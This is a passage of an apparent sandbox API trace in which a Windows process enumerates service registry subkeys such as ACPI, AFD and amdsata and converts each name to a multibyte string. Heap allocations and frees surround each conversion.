WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0230.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1ad8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0230.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.729] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0230.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0230.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0230.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.729] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0230.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0230.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.729] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0230.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0230.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0230.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.729] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0230.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0230.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.730] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0230.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0230.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1bf8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0230.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.730] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0230.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0230.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.730] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0230.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0230.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.731] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0230.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0230.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.731] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0230.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0230.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0230.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.731] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0230.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0230.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1ad8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0230.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.731] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0230.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0230.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0230.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.732] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0230.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0230.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.732] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0230.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0230.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0230.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.732] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0230.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0230.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.732] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0230.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0230.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.733] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0230.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0230.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0230.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.733] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0230.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0230.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.733] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0230.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0230.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.734] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0230.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0230.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0230.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0230.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.734] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0230.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", 